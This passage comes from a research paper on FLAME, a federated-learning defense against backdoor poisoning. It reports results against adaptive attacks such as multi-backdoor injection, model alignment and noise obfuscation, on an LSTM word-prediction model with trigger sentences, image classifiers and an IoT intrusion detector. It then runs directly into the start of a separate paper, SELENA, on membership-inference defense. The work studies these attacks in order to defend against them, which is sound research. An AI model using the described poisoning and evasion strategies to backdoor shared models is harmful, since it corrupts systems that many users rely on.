Auror [51] 100.0 22.5 100.0 26.1 100.0 96.6
AFA [42] 100.0 22.4 0.0 91.7 100.0 87.4
DP [18] 14.0 18.9 0.0 78.9 14.8 82.3
Median [60] 0.0 22.0 0.0 50.1 0.0 87.7
FLAME 0.0 22.3 0.0 91.9 0.0 99.8

0.5 %). It should be noted that suggesting words is a quite
challenging task, causing the MA even without attack to be
only 22.7%, aligned with previous work [7].

We extend our evaluation to various backdoors on three
datasets. For NIDS, we evaluate 13 different backdoors (Mirai
malware attacks) and 24 device types (78 IoT devices). The
results show that FLAME is able to mitigate all backdoor
attacks completely while achieving a high MA=99.8%. We
evaluate 5 different word backdoors for WP, and 90 differ-
ent image backdoors for IC, which change the output of a
whole class to another class. In all cases, FLAME success-
fully mitigates the attack while still preserving the MA.
Comparison to existing defenses. We compare FLAME
to existing defenses: Krum [9], FoolsGold [22], Auror [51],
Adaptive Federated Averaging (AFA) [42], Median [60] and a
generalized differential privacy (DP) approach [7, 40]. Tab. 4
shows that FLAME is effective for all 3 datasets, while pre-
vious works either fail to mitigate backdoors or reduce the
main task accuracy. Krum, FoolsGold, Auror, and AFA do not
effectively remove poisoned models and BA often remains
at 100%. Also, some defenses make the attack even more
successful than without defense. Since they remove many
benign updates (cf. §B) but fail to remove a sufficient number
of poisoned updates, these defenses increase the PMR and,
therefore, also the impact of the attack. Some defenses, e.g.,
Krum [9], Auror [51] or AFA [42] are not able to handle
non-iid data scenarios like Reddit. In contrast, FoolsGold is
only effective on the Reddit dataset (TPR = 100%) because
it works well on highly non-independent and identically dis-

tributed (non-IID) data (cf. §9). Similarly, AFA only mitigates
backdoors on the CIFAR-10 dataset since the data are highly
IID (each client is assigned a random set of images) such that
the benign models share similar distances to the global model
(cf. §9). Additionally, the model’s MA is negatively impacted.
The DP-based defense is effective, but it significantly reduces
MA. For example, it performs best on the CIFAR-10 dataset
with BA = 0, but MA decreases to 78.9% while FLAME in-
creases MA to 91.9% which is close to the benign setting (no
attacks), where MA = 92.2%.
Effectiveness of FLAME’s Components. Further, we have
also conducted an extensive evaluation of the effectiveness of
each of FLAME’s components. Due to space limitations, we
would like to refer to §B for the details.

7.2 Resilience to Adaptive Attacks
Given sufficient knowledge about FLAME, an adversary may
seek to use adaptive attacks to bypass the defense components.
In this section, we analyze such attack scenarios and strategies
including changing the injection strategy, model alignment,
and model obfuscation.
Changing the Injection Strategy. The adversary A may at-
tempt to inject several backdoors simultaneously to execute
different attacks on the system in parallel or to circumvent the
clustering defense (cf. §2.2). FLAME is also effective against
such attacks (cf. Fig. 5). To further investigate the resilience of
FLAME against such attacks, we conduct two experiments:
1) assigning different backdoors to malicious clients and 2)
letting each malicious client inject several backdoors. To
ensure that each backdoor is injected by a sufficient number
of clients, we increased the PMR for this experiment. We
conducted these experiments with n = 100 clients of which
k = 40 are malicious on the IoT-Traffic dataset with each type
of Mirai attack representing a backdoor. First, we evaluate
FLAME for 0,1,2, 4, and 8 backdoors, meaning that the num-
ber of malicious clients for each backdoor is 0,40,20,10, and
5. Our experimental results show that our approach is effec-
tive in mitigating the attacks as BA = 0%±0.0% in all cases,
with TPR = 95.2%±0.0%, and TNR = 100.0%±0.0%. For
the second experiment, 4 backdoors are injected by each of
the 40 malicious clients. Also, in this case, the results show
that FLAME can completely mitigate the backdoors.
Model Alignment. Using the same attack parameter values,
i.e., PDR (cf. §2.2), for all malicious clients can result in high
distances between benign and poisoned models. Those high
distances can be illustrated as a gap between poisoned and be-
nign models, s.t. the clustering can separate them. Therefore,
a sophisticated adversary can generate models that bridge the
gap between them such that they are merged to the same clus-
ter in our clustering. We evaluate this attack on the IoT-Traffic
dataset for k = 80 malicious clients and n = 200 clients in
total. To remove the gap, each malicious client is assigned a
random amount of malicious data, i.e., a random PDR ranging
from 5% to 20%. As Tab. 5 shows, when we apply model
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Table 5: Resilience to model alignment attacks in terms of
Backdoor Accuracy (BA), Main Task Accuracy (MA), True
Positive Rate (TPR), True Negative Rate (TNR) in percent.

BA MA TPR TNR
Model Filtering 100.0 91.98 0.0 33.04
FLAME 0.0 100.0 5.68 33.33

filtering only, our clustering component cannot identify the
malicious clients well (TPR = 0%), resulting in BA = 100%.
However, when we apply FLAME, although TPR remains
low (5.68%) FLAME still mitigates the attack successfully
(BA reduces from 100% to 0%). This can be explained by the
fact that when the adversary A tunes malicious updates to be
close to the benign ones, the attack’s impact is reduced and
consequently averaged out by our noising component.
Model Obfuscation. A can add noise to the poisoned models
to make them difficult to detect. However, our evaluation
of such an attack on the IoT-Traffic dataset shows that this
strategy is not effective. We evaluate different noise levels to
determine a suitable standard deviation for the noise. Thereby,
we observe that a noise level of 0.034 causes the models’
cosine distances in clustering to change without significantly
impacting BA. However, FLAME can still efficiently defend
this attack: BA remains at 0% and MA at 100%.

7.3 Effect of Number of Clients
Impact of Number of Malicious Clients. We assume that
the number of benign clients is more than half of all clients
(cf. §2.2) and our clustering is only expected to be successful
when PMR = k

n < 50% (cf. §4.3.1). We evaluate FLAME for
different PMR values. Figure 7 shows how BA, TPR, and TNR
change in the IC, NIDS, and WP applications for PMR values
from 25% to 60%. It shows that FLAME is only effective
if PMR < 50% so that only benign clients are admitted to
the model aggregation (TNR = 100%) and thus BA = 0%.
However, if PMR > 50%, FLAME fails to mitigate the attack
because the majority of poisoned models will be included
resulting in low TNR. Interestingly, FLAME accepted all
models for PMR = 50% (TPR = 0% and TNR = 100%). For
the IC application, since the IC data are non-IID, poisoned
models are not similar. Therefore, some poisoned models
were excluded from the cluster resulting in a high TPR even
for PMRs higher than 50%. However, the majority of poisoned
models were selected resulting in the drop in the TNR.

Varying number of clients in different training rounds.
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Figure 7: Impact of the poisoned model rate PMR = k

n on the
evaluation metrics. PMR is the fraction of malicious clients k
per total clients n.
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Figure 8: Impact of the number of clients on FLAME

In general, FLAME is a round-independent defense, i.e., it
does not use information from previous rounds such as which
clients were excluded in which rounds. Therefore, FLAME
will not be affected if the number of clients or number of
malicious clients varies as long as the majority of clients
remain benign. To demonstrate this, we simulate realistic sce-
narios in which clients can join and drop out dynamically.
We conducted an experiment where during each round, the
total number of available clients is randomly selected. As the
result, the number of malicious clients will also be random.
In this experiment, we used a population of 100 clients in

total, out of which 25 are malicious. In each round, a ran-
dom number (from 60 to 90) of clients are selected, so that
the fraction of malicious clients (PMR) varies in each round.
Figure 8 shows the experimental results. One can see that
the proportion of malicious clients (PMR) does not affect the
effectiveness of FLAME, i.e., the backdoor is completely re-
moved (BA = 0%) in every round. Since all poisoned models
are detected, their negative effect on the aggregated model
is removed. Therefore, the MA with FLAME is better than
the one without defense, and is almost always 100 % aligned
with the results in Tab. 4.

7.4 Impact of the Degree of non-IID Data
Since clustering is based on measuring differences between
benign and malicious updates, the distribution of data among
clients might affect our defense. We conduct two experiments
for both Constrain-and-scale and Edge-Case PGD on the
CIFAR-10 dataset. For Reddit and IoT datasets, changing the
degree of non-IID data is not meaningful since the data have a
natural distribution as every client obtains data from different
Reddit users or traffic chunks from different IoT devices.
Following previous works [20,57], we vary the degree of non-
IID data DegnIIDby changing the fraction of images belonging
to a specific class assigned to clients. In particular, we divide
the clients into 10 groups corresponding to the 10 classes of
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Figure 9: Impact of degree of non-IID data on FLAME for
constrain-and-scale using the DegnIID and for the Edge-Case
PGD attack using the α parameter of the Dirichlet distribution.
CIFAR-10. The clients of each group are assigned a fixed
fraction of DegnIIDof the images from its designated image
class, while the rest of the images will be assigned to it at
random. Consequently, the data distribution is random, i.e.,
completely IID if DegnIID = 0% (all images are randomly
assigned) and completely non-IID if DegnIID = 100% (a client
only gets images from its designated class).

Figure 9a shows the evaluation results for the constrain-
and-scale attacks. Although FLAME does not detect the poi-
soned models for very non-IID scenarios, it still mitigates the
attack as the BA remains 0% for all values of DegnIID. For low
DegnIID, FLAME effectively identifies the poisoned models
(T NR = 100%) and the MA remains on almost the same level
as without defense. As shown in Fig. 9b, FLAME also miti-
gates the Edge-Case PGD attack effectively for all α values of
the Dirichlet distribution and the MA also stays on the same
level as without defense. However, since not all poisoned
models are detected, a higher σ is determined dynamically
to mitigate the constrain-and-scale backdoor, resulting in a
slightly reduced MA for DegnIID ≥ 0.7 (MA is 91.9% for
DegnIID = 0.6, and is reduced to 91.0% for DegnIID = 1.0).
Note that Fig. 9 shows the evaluation results in a training
round t where the global model Gt is close to convergence [7],
thus even though the TNR decreases with a large value of
DegnIID, the drop of MA with FLAME is not substantial.

8 Privacy-preserving Federated Learning
A number of attacks on FL have been proposed that aim to
infer from parameters of a model the presence of a specific
training sample in the training dataset (membership inference
attacks) [41, 46, 52], properties of training samples (property
inference attacks) [23,41], try to assess the proportion of sam-
ples of a specific class in the data (distribution estimation
attacks) [58]. Inference attacks by the aggregator As are sig-
nificantly stronger, as As has access to the local models [43]
and can also link gained information to a specific user, while
the global model anonymizes the individual contributions.
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Figure 10: Overview of private FLAME in round t using
Secure-Two-Party Computation (STPC).
Therefore, enhanced privacy protection for FL is needed that
prohibits access to the local model updates.
Adversary Model (privacy). In this adversary type, As at-
tempts to infer sensitive information about clients’ data Di
from their model updates Wi [23, 41, 46, 52] by maximizing
the information φi = INFER(Wi) that As gains about the data
Di of client i by inferring from its corresponding model Wi.
Deficiencies of existing defenses. Generally, there are two ap-
proaches to protect the privacy of clients’ data: differential pri-
vacy (DP; [18]) and cryptographic techniques such as homo-
morphic encryption [24] or multi-party computation [14]. DP
is a statistical approach that can be efficiently implemented,
but it can only offer high privacy protection at the cost of
a significant loss in accuracy due to the noise added to the
models [6, 61]. In contrast, cryptographic techniques provide
strong privacy guarantees as well as high accuracy at the cost
of reduced efficiency.
Private FLAME. To securely implement FLAME using
STPC, we use an optimized combination of three promi-
nent STPC techniques as implemented with state-of-the-art
optimizations in the ABY framework [14]. Fig. 10 shows
an overview of private FLAME. It involves n clients and
two non-colluding servers, called aggregator A and external
server B. Each client i ∈ {1, ...,n} splits the parameters of its
local update Wi into two Arithmetic shares ⟨X⟩Ai and ⟨X⟩Bi ,
such that Wi = ⟨X⟩Ai + ⟨X⟩Bi , and sends ⟨X⟩Ai to A and ⟨X⟩Bi
to B. A and B then privately compute the new global model
via STPC. We co-design the distance calculation, clustering,
adaptive clipping, and aggregation of FLAME (cf. Alg. 1)
of FLAME as efficient STPC protocols.To further improve
performance, we approximate HDBSCAN with the simpler
DBSCAN [10] to avoid the construction of the minimal span-
ning tree in HDBSCAN as it is very expensive to realize with
STPC. See §G for more details on private FLAME evaluation
of its accuracy and performance.

9 Related Work
In general, existing backdoor defenses can roughly be divided
into two main categories. The first one aims to distinguish
malicious updates and benign updates by 1) clustering model
updates [9,15,22,29,33,34,51], 2) changing aggregation rules
[25, 60], and 3) using root dataset [4]. The second category is
based on differential privacy techniques [7,56]. Next, we will
discuss these points in detail.
Clustering model updates. Several backdoor defenses, such
as Krum [9], AFA [42], and Auror [51], aim at separat-
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ing benign and malicious model updates. However, they
only work under specific assumptions about the underly-
ing data distributions, e.g., Auror and Krum assume that
data of benign clients are iid. In contrast, FoolsGold and
AFA [42] assume that benign data are non-iid. In addition,
FoolsGold assumes that manipulated data are iid. As a re-
sult, these defenses are only effective under specific circum-
stances (cf. §7.1) and cannot handle the simultaneous in-
jection of multiple backdoors (cf. §4.3.1). Moreover, such
defenses cannot detect stealthy attacks, e.g., where the ad-
versary constrains their poisoned updates within benign up-
date distribution such as Constrain-and-scale attacks [7]. In
contrast, FLAME does not make any assumption about the
data distribution, clipping, and noising components can also
mitigate stealthy attacks, and FLAME can defend against
injection of multiple backdoors (cf. §4.3.1).
Changing aggregation rules. Instead of using FedAvg [38],
Yin et al. [60] and Guerraoui et al. [25] propose using the
median parameters from all local models as the global model
parameters, i.e., Gt = MEDIAN(W t

1 , . . . ,W
t
n). However, the

adversary can bypass it by injecting stealthy models like W ′3
(cf. Fig. 2), in which the parameters of poisoned model will
be selected to be incorporated into the global model. Further,
our evaluation in §7.1 shows that Median also reduces the
performance of the model significantly.
Using root data. Although FLTrust [12] can defend against
byzantine clients (with arbitrary behavior) and detect poison-
ing attacks including backdoors, it requires the aggregator to
have access to a benign root dataset. Baffle [4] utilizes clients
using their own data to evaluate the performance of the ag-
gregated model to detect backdoors. However, this approach
has two limitations, e.g., (i) the backdoor triggers are only
known to the attacker, i.e., one cannot ensure that the benign
clients would have such trigger data to activate the backdoor,
and (ii) Baffle does not work in a non-IID data scenario with
a small number of clients as clients cannot distinguish deficits
in model performance due to the backdoor from lack of data.
Differential Privacy-based approaches. Clipping and nois-
ing are known techniques to achieve differential privacy
(DP) [18]. However, directly applying these techniques to
defend against backdoor attacks is not effective because
they significantly decrease the Main Task Accuracy (§7.1)
[7]. FLAME tackles this by i) identifying and filtering out
potential poisoned models that have a high attack impact
(cf. §4.3.1), and ii) eliminating the residual poison with an
appropriate adaptive clipping bound and noise level, such that
the Main Task Accuracy is retained (cf. §4.3.2).

10 Conclusion
In this paper, we introduce FLAME, a resilient aggregation
framework for FL that eliminates the impact of backdoor at-
tacks while maintaining the performance of the aggregated
model on the main task. We propose a method to approximate
the amount of noise that needs to be injected into the global

model to neutralize backdoors. Furthermore, in combination
with our dynamic clustering and adaptive clipping, FLAME
can significantly reduce the noise scale for backdoor removal
and thus preserve the benign performance of the global model.
In addition, we design, implement, and benchmark efficient se-
cure two-party computation protocols for FLAME to ensure
the privacy of clients’ training data and to impede inference
attacks on client updates.
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A Datasets and Learning Configurations
Word Prediction (WP). We use the Reddit dataset of Novem-
ber 2017 [1] with the same settings as state-of-the-art works
[7, 38, 40] for comparability. In particular, each user in the
dataset with at least 150 posts and not more than 500 posts is
considered as a client. This results in 80 000 clients’ datasets
with sizes between 298 and 32 660 words.

The model consists of two LSTM layers and a linear output
layer [7, 38]. To be comparable to the attack setting in [7],
we evaluate FLAME on five different backdoors, each with
a different trigger sentence corresponding to a chosen output.
Image Classification (IC). For image classification, we use
mainly the CIFAR-10 dataset [31], a standard benchmark
dataset for image classification, in particular for FL [38] and
backdoor attacks [7, 8, 42]. It consists of 60 000 images of
10 different classes. The adversary aims at changing the pre-
dicted label of one class of images to another class of images.
We use a lightweight version of the ResNet18 model [26] with
4 convolutional layers with max-pooling and batch normaliza-
tion [7]. The experimental setup consists of 100 clients and
uses a PMR of 20%. In addition to the CIFAR-10 dataset, we
also evaluate FLAME’s effectiveness on two further datasets
for image classification. The MNIST dataset consists of 70 000
handwritten digits [32]. The learning task is to classify images
to identify digits. The adversary poisons the model by misla-
beling labels of digit images before using it for training [51].
We use a convolutional neural network (CNN) with 431000
parameters. The Tiny-ImageNet 3 consists of 200 classes and
each class has 500 training images, 50 validation images, and
50 test images. We used ResNet18 [26] model.
Network Intrusion Detection System (NIDS). We test
backdoor attacks on IoT anomaly-based intrusion detec-
tion systems that often represent critical security applica-
tions [5, 16, 27, 30, 44, 45, 55]. Here, the adversary aims at
causing incorrect classification of anomalous traffic patterns,
e.g., generated by IoT malware, as benign patterns. Based
on the FL anomaly detection system DÏoT [44], we use
three datasets called DIoT-Benign, DIoT-Attack, and UNSW-
Benign [44,53] from real-world home and office deployments
(four homes and two offices located in Germany and Aus-
tralia). DIoT-Attack contains the traffic of 5 anomalously
behaving IoT devices, infected by the Mirai malware [44].
Moreover, we collected a fourth IoT dataset containing com-
munication data from 24 typical IoT devices (including IP
cameras and power plugs) in three different smart home set-
tings and an office setting. Following [44], we extracted

3https://tiny-imagenet.herokuapp.com
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Table 6: Effectiveness of the clustering component, in terms
of True Positive Rate (TPR) and True Negative Rate (TNR), of
FLAME in comparison to existing defenses for the constrain-
and-scale attack on three datasets. All values are in percentage
and the best results of the defenses are marked in bold.

Defenses Reddit CIFAR-10 IoT-Traffic
TPR TNR TPR TNR TPR TNR

Krum 9.1 0.0 8.2 0.0 24.2 0.0
FoolsGold 100.0 100.0 0.0 90.0 32.7 84.4
Auror 0.0 90.0 0.0 90.0 0.0 70.2
AFA 0.0 88.9 100.0 100.0 4.5 69.2
FLAME 22.2 100.0 23.8 86.2 59.5 100.0
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Figure 11: Effectiveness of FLAME’s clipping bound in
terms of Backdoor Accuracy (BA) and Main Task Accuracy
(MA). S is the clipping bound and med the L2-norm median.
device-type-specific datasets capturing the devices’ commu-
nication behavior. We simulate the FL setup by splitting
each device type’s dataset among several clients (from 20
to 200). Each client has a training dataset corresponding to
three hours of traffic measurements containing samples of
roughly 2 000-3 000 communication packets. The learning
model consists of 2 GRU layers and a fully connected layer.

B Effectiveness of FLAME’s Components
B.1 Effectiveness of the Clustering Component
We show the results for the clustering component in Tab. 6.
As shown there, our filtering achieves TNR = 100% for the
Reddit and IoT-Traffic datasets, i.e., FLAME only selects
benign models in this attack setting. Recall that the goal of
clustering is to filter out the poisoned models with high attack
impact, i.e., not necessarily all poisoned models (cf. §4.1).
This allows FLAME to defend backdoor attacks effectively,
even if not all poisoned models are filtered. For example,
although for the CIFAR-10 dataset in Tab. 6 the TNR is not
100 % (86.2%), the attack is still mitigated by the noising
component, such that the BA is 0 % (cf. Tab. 4).

B.2 Effectiveness of Clipping
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Figure 12: Impact of different noise level factors on the Back-
door Accuracy (BA) and Main Task Accuracy (MA).
Fig. 11 demonstrates the effectiveness of FLAME’s dynamic
clipping where S is the median of L2-norms compared to a
static clipping bound [7] and different choices for a dynamic
clipping boundary (i.e., median, half of median, median mul-
tiplied by 1.5). The experiments are conducted for the IoT-
Traffic dataset, which is non-iid. Fig. 11a and Fig. 11b show
that a small static bound S = 0.5 is effective to mitigate the
attack (BA = 0%), but MA drops to 0% rendering the model
useless. Moreover, a higher static bound like S = 10 is ineffec-
tive as BA = 100% if the Poisoned Data Rate (PDR) ≥ 35%.
In contrast, FLAME’s dynamic clipping threshold performs
significantly better as BA consistently remains at 0% while
MA remains high (cf. Fig. 11c and Fig. 11d).

B.3 Effectiveness of Adding Noise
Fig. 12 shows the impact of adding noise to the intermediate
global models with respect to different noise level factors λ to
determine the standard deviation of the noise σ dynamically
based on the median L2-norm of the updates St as σ = λSt .
As it can be seen, increasing λ reduces the BA, but it also
negatively impacts the performance of the model in the main
task (MA). Therefore, the noise level must be dynamically
tuned and combined with the other defense components to
optimize the overall success of the defense. The noise level

factor is determined by λ = 1
ε

√
2ln 1.25

δ
for (ε,δ)-DP. We use

standard DP parameters and set ε = 3705 for IC, ε = 395 for
the NIDS and ε = 4191 for the NLP scenario. Accordingly,
λ = 0.001 for IC and NLP, and λ = 0.01 for the NIDS sce-
nario. The DP budget is dependent on the considered dataset
scenario. It is determined based on the median of the dataset
sizes of the clients and the size of the model used. It can thus
be empirically determined by the aggregator. Analogous to
determining the clipping boundary S (cf. 4.3.2), using the
median ensures that the used dataset size is within the range
of benign values.

C Naïve Combination
Furthermore, we test a naïve combination of the defense com-
ponents by stacking clipping and adding noise (using a fixed
clipping bound of 1.0 and a standard deviation of 0.01 as
in [7]) on top of a clustering component using K-means. How-
ever, this naïve approach still allows a BA of 51.9% and a MA
of 60.24%, compared to a BA of 0.0% and a MA of 89.87%
of FLAME in the same scenario for the CIFAR-10 dataset.
Based on our evaluations in §7.1, it becomes apparent that
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FLAME’s dynamic nature goes beyond previously proposed
defenses that consist of static baseline ideas, which FLAME
significantly optimizes, extends, and automates to offer a com-
prehensive dynamic and private defense against sophisticated
backdoor attacks.

D Overhead of FLAME
We evaluated FLAME for 6 different device types from the
IoT dataset. In this experiment, only benign clients partici-
pated and the model was randomly initialized. The highest
observed overhead was 4 additional rounds. In average, 1.67
additional training rounds were needed to achieve at least 99%
of the MA that was achieved without applying the defense,
i.e., FLAME does not prevent the model from converging.

E HDBSCAN
HDBSCAN [11] is a density-based clustering technique that
classifies data samples in different clusters without prede-
fined the maximum distance and the number of clusters. In
the following, we describe HDBSCAN in detail, following
the implementation of McInnes et al. [36, 37]. However,
we focus on the behavior of HDBSCAN for the parame-
ters that FLAME uses, i.e., when min_cluster_size=N/2+
1 and min_samples=1, e.g., because of the choice for
min_cluster_size we skip parts that deal with multiple
clusters. HDBSCAN first uses the given distances to build a
minimal spanning tree (MST), where the vertices represent
the individual data points and the edges are weighted by the
distances between the respective points. Then it uses the MST
to build a binary tree where the leaf nodes represent the ver-
tices of the MST and the non-leaf nodes represent the edges of
the MST. For this, first, all vertices are considered as separate
trees (of size 1). For this, first, all vertices are considered as
separate trees (of size 1) and then, starting from the edge with
the lowest weight, iteratively the trees are merged by creating
a non-leaf-node for each edge of the MST and set the (previ-
ously not connected) subtrees containing the endpoints of the
edge as children for the new node (represented by calling the
function make_binary_tree. In the next step, HDBSCAN
collects all nodes of the binary tree as candidates, that cover
at least N/2+1 data points. Since only non-leaf nodes fulfill
the requirement of covering at least N/2+1 data points, each
cluster candidate is based on a node, representing an edge in
the MST. It uses the weight of the edge and the number of
covered points to calculate a so-called stability value. Then
HDBSCAN uses the stability value to determine the cluster
candidate with the most homogeneous density and returns this
candidate as majority cluster. Finally, it assigns the cluster
label to all data points inside this cluster and labels all points
outside of this cluster as noise.

F Effectiveness of FLAME against untargeted
poisoning attacks

Another attack type related to backdooring is untargeted poi-
soning [8, 9, 20]. Unlike backdoor attacks that aim to incorpo-
rate specific backdoor functionalities, untargeted poisoning
aims at rendering the model unusable. The adversary uses
crafted local models with low Main Task Accuracy to dam-
age the global model G. Fang at el. [20] propose such an
attack bypassing state-of-the-art defenses. Although we do
not focus on untargeted poisoning, our approach intuitively
defends it since, in principle, this attack also trade-offs attack
impact against stealthiness. To evaluate the effectiveness of
FLAME against this attack, we test the Krum-based attack
proposed by [20] on FLAME. Since [20]’s evaluation uses
image datasets, we evaluate FLAME’s resilience against it
with CIFAR-10. The evaluation results show that although
the attack significantly damages the model by reducing MA
from 92.16% to 46.72%, FLAME can successfully defend
against it and MA remains at 91.31%.

G Performance of Private FLAME
For our implementation, we use the STPC framework
ABY [14] which implements the three sharing types, includ-
ing state-of-the-art optimizations and flexible conversions and
the open-source privacy-preserving DBSCAN by Bozdemir
et al. [10]. All STPC results are averaged over 10 experiments
and run on two separate servers with Intel Core i9-7960X
CPUs with 2.8 GHz and 128 GB RAM connected over a 10
Gbit/s LAN with 0.2 ms RTT.
Approximating HDBSCAN by DBSCAN. We measure the
effect of approximating HDBSCAN by DBSCAN including
the binary search for the neighborhood parameter ε. The
results show that our approximation has a negligible loss
of accuracy. For some applications, the approximation even
performs slightly better than the standard FLAME, e.g., for
CIFAR-10, private FLAME correctly filters all poisoned mod-
els, while standard FLAME accepts a small number (TNR =
86.2%), which is still sufficient to achieve BA = 0.0%.
Runtime of Private FLAME. We evaluate the runtime in
seconds per training iteration of the cosine distance, Euclidean
distance + clipping + model aggregation, and clustering steps
of Alg. 1 in standard (without STPC) and in private FLAME
(with STPC). The results show that private FLAME causes a
significant overhead on the runtime by a factor of up to three
orders of magnitude compared to the standard (non-private)
FLAME. However, even if we consider the largest model
(Reddit) with K = 100 clients, we have a total server-side
runtime of 22 081.65 seconds (≈ 6 hours) for a training itera-
tion with STPC. Such runtime overhead would be acceptable
to maintain privacy, especially since mobile phones, which
would be a typical type of clients in FL [38], are not always
available and connected so that there will be delays in syn-
chronizing clients’ model updates in FL. These delays can
then also be used to run STPC. Furthermore, achieving prov-
able privacy by using STPC may even motivate more clients
to contribute to FL in the first place and provide more data.
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Abstract
Membership inference attacks are a key measure to evalu-
ate privacy leakage in machine learning (ML) models. It is
important to train ML models that have high membership
privacy while largely preserving their utility. In this work, we
propose a new framework to train privacy-preserving mod-
els that induce similar behavior on member and non-member
inputs to mitigate membership inference attacks. Our frame-
work, called SELENA, has two major components. The first
component and the core of our defense is a novel ensem-
ble architecture for training. This architecture, which we call
Split-AI, splits the training data into random subsets, and
trains a model on each subset of the data. We use an adaptive
inference strategy at test time: our ensemble architecture ag-
gregates the outputs of only those models that did not contain
the input sample in their training data. Our second component,
Self-Distillation, (self-)distills the training dataset through our
Split-AI ensemble, without using any external public datasets.
We prove that our Split-AI architecture defends against a fam-
ily of membership inference attacks, however, our defense
does not provide provable guarantees against all possible at-
tackers as opposed to differential privacy. This enables us to
improve the utility of models compared to DP. Through exten-
sive experiments on major benchmark datasets we show that
SELENA presents a superior trade-off between (empirical)
membership privacy and utility compared to the state of the
art empirical privacy defenses. In particular, SELENA incurs
no more than 3.9% drop in classification accuracy compared
to the undefended model while reducing the membership in-
ference attack advantage by a factor of up to 3.7 compared to
MemGuard and a factor of up to 2.1 compared to adversarial
regularization.

1 Introduction

Machine learning has achieved tremendous success in many
areas, but it requires access to data that may be sensitive. Re-
cent work has shown that machine learning models are prone

to memorizing sensitive information of training data incurring
serious privacy risks [3,4,12,13,38,41,42]. Even if the model
provider is trusted and only provides query services via an
API, i.e., black-box model access in which only prediction
vectors are available, private information can still be obtained
by attackers. The membership inference attack (MIA) is one
such threat in which an adversary tries to identify whether a
target sample was used to train the target machine learning
model or not based on model behavior [41]. MIAs pose a se-
vere privacy threat by revealing private information about the
training data. For example, knowing the victim’s presence in
the hospital health analytic training set reveals that the victim
was once a patient in the hospital.

Shokri et al. [41] conducted MIAs against machine learning
models in the black-box manner. They formalize the attack as
a binary classification task and utilize a neural network (NN)
model along with shadow training technique to distinguish
members of training set from non-members. Following this
work, many MIAs have been proposed which can be divided
into two categories: direct attacks [30,31,43,44,51,52], which
directly query the target sample and typically utilize only a
single query; indirect attacks [8, 26, 27], which query sam-
ples that are in the neighborhood of the target sample to in-
fer membership, and typically utilize multiple queries. The
research community has further extended the MIA to fed-
erated settings [29, 31] and generative models [14]. MIAs
have also provided a foundation for more advanced data ex-
traction attacks [4] and for benchmarking privacy-preserving
mechanisms [19, 33].

The effectiveness of MIAs and the resulting privacy threat
have motivated the research community to design several de-
fense mechanisms against these attacks [1, 21, 30, 40]. As
MIAs distinguish members and non-members of the target
model based on the difference in model’s behavior on mem-
bers, defense mechanisms need to enforce similar model be-
havior on members and non-members. There exist two main
categories of membership inference defenses, as shown in
Table 1: techniques that offer provable privacy, and defenses
that offer empirical membership privacy. The first category
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mainly uses differential privacy mechanisms [1, 28, 49] to be
able to provide a provable privacy guarantee for all inputs.
However, the use of DP (e.g., in DP-SGD [1]) is shown to
significantly reduce the utility of the underlying models in
many machine learning tasks (see Section 7.3 and Section 8).
This has motivated the second category of membership infer-
ence defenses, where privacy is empirically evaluated through
practical MIAs with the aim of preserving model utility. Our
work in this paper falls in the second category, and as we will
show, our technique offers a superior trade-off between MIA
protection and model utility compared to the state-of-the-art
empirical privacy defenses [21,30,40] (see Section 6 for more
details).

Low utility High utility
Provable
privacy

DP-based:
DP-SGD [1]

Desired (No method
achieves this goal so far)

Empirical
membership

privacy

Not
considered

Adversarial
Regularization [30],

MemGuard [21],
SELENA(Our work)

Table 1: Two categories of membership inference defenses:
provable privacy with low utility vs. empirical membership
privacy with high utility.

Our Framework. In this paper, we introduce a novel empiri-
cal MIA defense framework, called SELENA,1 whose goal is
to protect against practical black-box MIAs while also achiev-
ing high classification accuracy. Our framework consists of
two core components: Split-AI and Self-Distillation.

Split Adaptive Inference Ensemble (Split-AI): Our first
component, called Split-AI, is proposed to enable the model to
have similar behavior on members and non-members. We ob-
tain this goal by training multiple models (called sub-models)
with random subsets from the training set. While such ensem-
ble architectures have been considered in different ML con-
texts, our framework’s novelty lies in the particular adaptive
approach it uses to respond to the queries. The key intuition is
that for a training sample, if one of sub-models is not trained
with it, this sub-model will have similar behavior on this train-
ing sample and other non-members. We use this intuition in
our adaptive inference strategy. When the queried sample is
in the training set, the adaptive inference procedure will only
call the sub-models that have not used the queried sample
in their training set. When the queried sample is not in the
training set, we query a particular subset of sub-models (as ex-
plained later in Section 4). Our approach provides an intuitive
foundation for membership privacy: no matter if the queried
sample is a member or a non-member, the adaptive inference
will always use only those sub-models which have not used
this sample for their training; this ensures the membership
privacy which we demonstrate through a formal analysis.

1SELf ENsemble Architecture.

Self-Distillation: Our Split-AI shows a promising perfor-
mance against the traditional type of MIA, i.e., the direct
single-query attack [43, 44, 51, 52]. However, it falls short in
protecting against recent adaptive MIAs, which work by craft-
ing multiple, particularly-fabricated queries [8,26]. Moreover,
Split-AI has a high computational overhead, as it needs to
search for each queried sample within the training set and per-
form inference on multiple sub-models. To protect Split-AI
against adaptive attacks and to reduce its computational over-
head, we use the second component of our framework, which
we call Self-Distillation. Our Self-Distillation component
performs a novel form of knowledge transfer on the model
created by Split-AI to produce a final protected model. Specif-
ically, it first queries Split-AI with its exact training samples
to get their corresponding prediction vectors. Then, it uses
these prediction vectors as the soft labels of the training set
to train the protected model, which will be used for inference.
During the inference stage, the protected model only needs to
perform a single computation for each queried sample, there-
fore it has a much lower computation overhead compared to
Split-AI’s model. Furthermore, the protected model protects
not only against traditional direct single-query MIA attacks,
but also against adaptive MIA attacks as shown in our analysis
in Section 6. Note that, unlike conventional uses of distillation
for membership privacy [40], our Self-Distillation component
does not need a public dataset for knowledge transfer as it
uses its own training dataset for (self-)distillation.2

Evaluation. We evaluate our SELENA on three benchmark
datasets (CIFAR100, Purchase100, Texas100) and compare it
with existing defenses [21, 30, 43] rigorously using two types
of existing attacks and one type of adaptive attack. (1) We first
analyze our defense against direct single-query attacks, which
have been typically used in most previous MI attacks and de-
fenses. (2) We next evaluate our framework against label-only
attacks, which infer membership information only based on
labels and hence simply obfuscating prediction confidence
vector cannot protect against such attacks. (3) We finally study
adaptive attacks, which are tailored to our defense mechanism.
Overall, SELENA achieves a better trade-off between the util-
ity, i.e., classification accuracy, and the empirical membership
privacy without requiring additional public data. For utility,
SELENA incurs only a little drop in classification accuracy
compared to the undefended model (no more than 3.9%), and
outperforms adversarial regularization [30] by up to 7.0% (on
Texas100). For membership privacy risks, SELENA reduces
the MIA advantage over a random guess by a factor of up
to 4.0 compared to the undefended model, a factor of up to
3.7 compared to MemGuard [21] and a factor of up to 2.1
compared to adversarial regularization [30]. Unlike DP-SGD
